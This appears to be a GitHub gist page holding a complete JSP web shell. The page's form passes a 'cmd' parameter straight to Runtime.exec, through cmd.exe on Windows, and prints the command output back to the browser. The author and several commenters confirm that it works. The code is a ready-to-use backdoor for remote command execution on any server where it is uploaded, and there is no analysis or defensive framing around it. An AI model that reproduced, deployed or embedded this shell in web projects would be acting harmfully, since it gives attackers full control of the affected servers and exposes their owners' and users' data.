Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Simple JSP cmd shell
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p;
if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
}
else{
p = Runtime.getRuntime().exec(request.getParameter("cmd"));
}
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
@nikallass
Copy link
Author

nikallass commented Apr 30, 2018

Simple working cmd shell. Checked.

@epicn1337
Copy link

epicn1337 commented Jan 23, 2021

yeah this work great

@nowakowsky
Copy link

nowakowsky commented Jun 24, 2022

Great job mate, thank you!

@yairs123
Copy link

yairs123 commented Aug 25, 2022

linux

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment